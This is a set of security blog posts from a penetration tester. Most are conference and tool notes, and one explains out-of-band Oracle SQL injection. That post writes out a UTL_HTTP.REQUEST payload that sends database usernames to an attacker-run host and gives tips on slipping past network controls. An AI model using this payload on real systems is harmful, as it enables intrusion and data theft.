Out-of-band Oracle SQL injection with HTTP Requests

I spent most of last week performing a web application assessment in the middle of nowhere, Alabama. After the mad fun at BlackHat and several weeks of unpleasant documentation work preceding it, it was a nice change to spend five peaceful days completely focused on testing an interesting system.

This was an internal application, so I wasn't surprised to find that it was vulnerable to SQL injection in several areas. However, in-band injection attacks weren't working for the application I was testing - I couldn't use UNION SELECTs, for example, to merge my query results with data rendered in the browser. So I had to leverage an out-of-band technique for retrieving data through SQL injection: Oracle's UTL_HTTP.REQUEST function. David Litchfield mentioned this approach almost two years ago in Data-mining with SQL Injection and Inference, but I never had the need to use it "in the wild" until now.

UTL_HTTP is a built-in Oracle SQL function that issues HTTP requests. The syntax is pretty simple: 

URL_HTTP.REQUEST('http://www.foo.com/index.php') 

returns the first 2000 bytes from the provided URL. But the clever bit is that you can concatenate the URL with another SQL statement, the results of which will become part of the request.

For example, consider the following SQL:

UTL_HTTP.REQUEST('http://www.foo.com:80/'||(SELECT USERNAME FROM DBA_USERS WHERE ROWNUM=1))

The SELECT statement returns the value "SYS" - the first user in the DBA_USERS table. The HTTP request issued by the database is therefore for the URL "http://www.foo.com:80/SYS". In www.foo.com's HTTP access log, the request would look like:

158.72.4.21 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -
(assuming 158.72.4.21 is our target DB server)

So as an attacker, you simply need to run a web server and point the UTL_HTTP.REQUESTs to your own IP address. You can then view the result of each SQL injection in your server logs. If in Windows, I like to use SHTTPD as it is lightweight and simple to turn on and off.

The biggest limitation to this approach is that you can only query for one row at a time - you'll get an error message if your statement returns multiple rows. (That is due to the UTL_HTTP.RQUEST function itself, not the web server end). But it is still a lot more efficient then using blind SQL injection to brute force one character of a response at a time. Oracle will also throw an error if it can't reach your web server, which may be the case depending on network controls between yourself and the database.  Experiment with running on different ports.

There are probably a few things you could do to make the attack more elegant, like setting up a CGI script on your server to better collect and parse the calls from the database. You could also create and inject a PL/SQL function that concatenates results from multiple rows to get around the single-row limitation. I needed a quick and dirty solution to get a few key database records, so I didn't bother venturing beyond the basics for this test.

Outbound HTTP requests originating from a database server should look suspicious, but I think the attack is obscure enough to slip by most admins.

SensePost Releases Squeeza SQL Injector, Updates Wikto

As referenced in my BlackHat wrap-up, SensePost has just released the squeeza tool and accompanying slide deck from their presentation.  Their work on timing-based attacks is really interesting, particularly what they have dubbed as "Cross-Site Request Timing": it's apparently possible to violate the same-origin policy by tracking page load times across multiple domains. They've also released an update to Wikto, bumping it to 2.0 - judging from the change log it's a pretty substantial re-write.

BlackHat Wrap-Up

I've returned and recovered from a fun week at BlackHat in Las Vegas.  The conference was a great experience and had an excellent selection of speakers.  As with other hacking conventions I've attended in the past, it was humbling to see how smart some of the presenters and attendees are.  I unfortunately couldn't make it to Defcon this year (damn client obligations!), but four days is just about the right length of time to stay in Vegas.  

To share a few random observations and cool things:

• At this point it should be clear that browser vulnerabilities are this "generation's" OS-level vulnerabilities.  Owning the client means you can do just about anything, including full-fledged attacks against internal networks.  David Byrne's anti-DNS pinning really drove this home, particularly when he used Java LiveConnect to proxy a full Nessus scan against an internal host through the browser. 
• Billy Hoffman's talk on "The Little Hybrid Web Worm That Could" was really interesting - he's always a good presenter.  He illustrated several pieces of proof-of-concept JavaScript code that can self-mutate, parse sites like Secunia to "learn" new vulnerabilities, and exploit web application vulnerabilities.  It won't be long before we see these kinds of worms in the wild, as the technology and research are already in place.  
• Errata security demo'd a tool called Ferret that combines WiFi sniffing and gathering sensitive information into somewhat of a point-and-click affair.  It works with a HTTP proxy component that lets you easily use session cookies hijacked from other users' browser sessions.  He used it to hop on to an attendee's GMail account while on stage, which really got the audience going.  There's nothing new here - we all know you can sniff and re-use cookies from non-SSL'd connections - but the tool is still a neat implementation.
• A presentation on extrusion detection systems by Matasano ended up being far more interesting than I expected.  While their research focused on vulnerabilities in agent-based tools designed to prevent information leakage, it conceptually applied to any agent-based product (I'm thinking of SIM tools in particular).  Through reverse engineering, they revealed how trivial it would be to take over agents, execute code at the Windows kernel level, spoof reporting data, and cause other havoc.  It made me really want to grab a copy of PaiMei and learn more about reversing and fuzzing.
• The Metasploit team gave a fantastic two-part presentation (available on their site) on tactical penetration testing.  Their message was one we've always preached to our clients: pen-testing should not just be vulnerability scanning and firing off exploits.  They covered some interesting new resources for footprinting targets and network discovery, such as DomainTools.com and Paterva.com.  
  
  The presentation also included a demo of a new Metasploit component that facilitates NTLM hijacking.  You basically capture the victim's NTLM hash through a man-in-the-middle attack (the WPAD proxy hijack technique works great for this), and can then re-use this hash to authenticate with the user's credentials.  There's no need to crack the NTLM hash!  I plan on testing this one out in our lab - although our rules of engagement unfortunately often forbid us from performing network redirection attacks against clients.   
• SensePost had a presentation on timing-based attacks that I wish I had not missed.   They demonstrated "SensePost-aTime", which leverages timing information to perform SQL injection and extract data.  I couldn't find it on their web-site yet, but will post as soon as a link is available.  Until then, you can check out a recent post on ha.ckers.org that covers a "res://" timing attack that enumerates a user's local files through the browser.
• My "Best Booth Gimmick" award goes to Fortify Software - their Borat-inspired "Discover Hackistan" promotion was pretty damn funny.

Personal goal for next year: to put together a presentation that I can at least attempt to submit for BlackHat or Defcon.

Dangerous links: Mozilla URI handler exploits

There has been a lot of recent activity among security blogs covering serious new vulnerabilities in Mozilla's URI protocol handling.  This is a significant issue because it is easily exploitable and yields remote command execution on a victim's PC: an attacker only needs to lead the user to a maliciously crafted link.

The root of this flaw lies in how Mozilla handles URIs that are opened by other applications (such as mailto://, aim://, etc.).  These links are designed to pass specific parameters to the external application - for example, a mailto: link typically launches your e-mail client, and composes a new message with a specified "To: address.  Mozilla does not sufficiently parse these URIs; as a result, it is possible to inject characters and change the execution path.  

To make matters worse, the browser does not prompt the user before handling URIs for “mailto”, “news”, “nntp” and “snews”, so this attack can be launched without any interaction.  Yesterday, Billy Rios posted a simple exploit that executes commands through these URIs without any user warning.  However, it only works if the victim has no applications registered to the URIs, which is fairly uncommon (Outlook Express handles them by default, and is installed on most Windows systems).

The latest and most comprehensive vulnerability report was released today by Thor Larholm, and includes several proof-of-concept demos for Firefox, Thunderbird, and the mailto: protocol.  He goes into a lot of detail - it's a great read and a slick hack.

So an important moral to this story is that registering a URI handler really exposes an application to significant risk of attacks originating from the browser.  This is nothing new: for example, there have been numerous buffer overflows affecting AOL Instant Messenger that can be triggered by crafted URIs.  However, when you combine them with widespread cross-site scripting vulnerabilities and something like this URI handling flaw, you can see that a lot of interesting attack vectors are possible.  It is likely that we'll see variations on these theme affecting multiple browser platforms and used in a variety of exploit scenarios.

One last thing - a good post on ush.it details how you can disable unnecessary external protocol handlers to harden your browser. 

Firefox 2.0.0.5 and Thunderbird 2.0.0.4 are vulnerable; this will be patched in the soon-to-be-released Firefox 2.0.0.6.

More on Flash hacking

A quick follow-up to my previous post on testing Flash sites: Stefano Di Paola recently delivered a superbly comprehensive presentation on Flash application security during this year's OWASP conference in Milan. It goes into great detail on the ActionScript security model, how Flash applications are sandboxed, and a variety of client-side attack vectors. The resulting exploits include classic cross-site scripting issues, as well as a variation known as cross-site "flashing". Stefano also covers a few concepts for more advanced hacks, and plans to release testing tools and additional whitepapers soon. You can check out his web-log at Wisec.it.

Decompiling and testing Flash-based web sites

I've recently been evaluating several tools to help our team perform security assessments on Flash-based web applications. We occasionally have to test client sites that are almost entirely written in Flash, and they can be even more annoying to assess than they are to use. I have never really worked with the language from a developer's perspective, so it's been a good learning experience.

I was first interested in decompilers, thinking that certain poorly-coded applications might have hard-coded host information, credentials, or other potentially sensitive information. I found that Flare is an effective (and free) tool for extracting ActionScript from SWF files. However, after using it on a number of projects I've come to realize that there's rarely much of interest in the ActionScript. (There are a few horribly coded Flash login portals that store passwords in the source code, but I've never seen them used in a "professional" client application. Google for "login.swf", and decompile a few of the results to see what I mean.)

Ordinary proxy tools like Paros or Burp will catch any inbound or outbound HTTP requests issued by a Flash application. However, some applications talk to the server using a SOAP-like messaging protocol known as Flash Remoting, in which messages are binary encoded in "Action Message Format" (AMF). Neither Paros nor Burp will decode AMF, making it difficult to analyze the transactions. However, there are a few applications that can: ServiceCapture and Charles Debugging Proxy are two of the more popular and well-regarded tools. Below are a few screenshots of a binary AMF response as seen in Paros, versus the same response decoded in ServiceCapture:

Binary AMF response in Paros

Decoded AMF response in ServiceCapture

As you can see, deserializing Flash Remoting traffic can provide a lot of information about an application, and even identify targets for parameter manipulation or SQL injection attacks.

Unfortunately, I haven't been able to find any free tools with this capability. ServiceCapture and Charles offer downloadable trials, but require a reasonable license fee for continued use. The Burp Proxy team is soliciting requested features for their next update, so I will be sure to submit this as a recommendation.

JavaScript Web Spider - Powered by Yahoo

pdp has released a proof-of-concept web spider written completely in JavaScript. It is a pure client-side tool, requiring no server support other than the Yahoo Site Explorer service it leverages. The spider is very efficient - it can index the files and directory structure of a web site within a few queries, making it very fast and efficient. The only limitation is that only can fetch pages already indexed by Yahoo.

As pdp points out in his writeup, it would be simple to modify this code to identify vulnerabilities in spidered sites and exploit them in real-time. We will almost certainly see XSS/AJAX worms leveraging this sort of technique to target and compromise other web applications, and they will be very difficult to block.

How to NOT protect your site against SQL injection

Parameterized queries? Input validation? Pfft. Really secure sites don't need that kind of nonsense to protect against SQL injection attacks.  They just kindly ask that you avoid submitting values like "SELECT FROM" or "DROP".

HTTP proxying through XSS

RSnake's blog just turned me on to the release of XSSTunnel, a very slick project by Ferruh Mavituna. This .NET-based tool lets you leverage a cross-site scripting vulnerability into a full HTTP proxy. By using XSSTunnel in concert with Ferruh's XSS Shell, you can pipe any scanning tool that supports HTTP proxies to run through a victim's "infected" browser. The possibilities are endless: you could run your own web browser, SQL injection tools, Nikto, etc. through the tunnel.

The logistics of the attack are fairly simple. You need to host the XSS Shell components on an IIS server under your control, and configure XSSTunnel (which runs locally on your machine) with its location. Your cross-site scripting attack will load the code from the XSS Shell server into the victim's browser, either through a reflected or persistent vector. (It's worth noting that XSS Shell has some nasty attacks on its own, including key-logging, stealing cookies and clipboard contents, etc). Once everything is set up you can launch the tunnel, wait for your XSS attack to reach a victim, and then proxy to your heart's content.

Ferruh's Bugtraq post includes links to a video and whitepaper; the tool is also available at Portcullis-Security.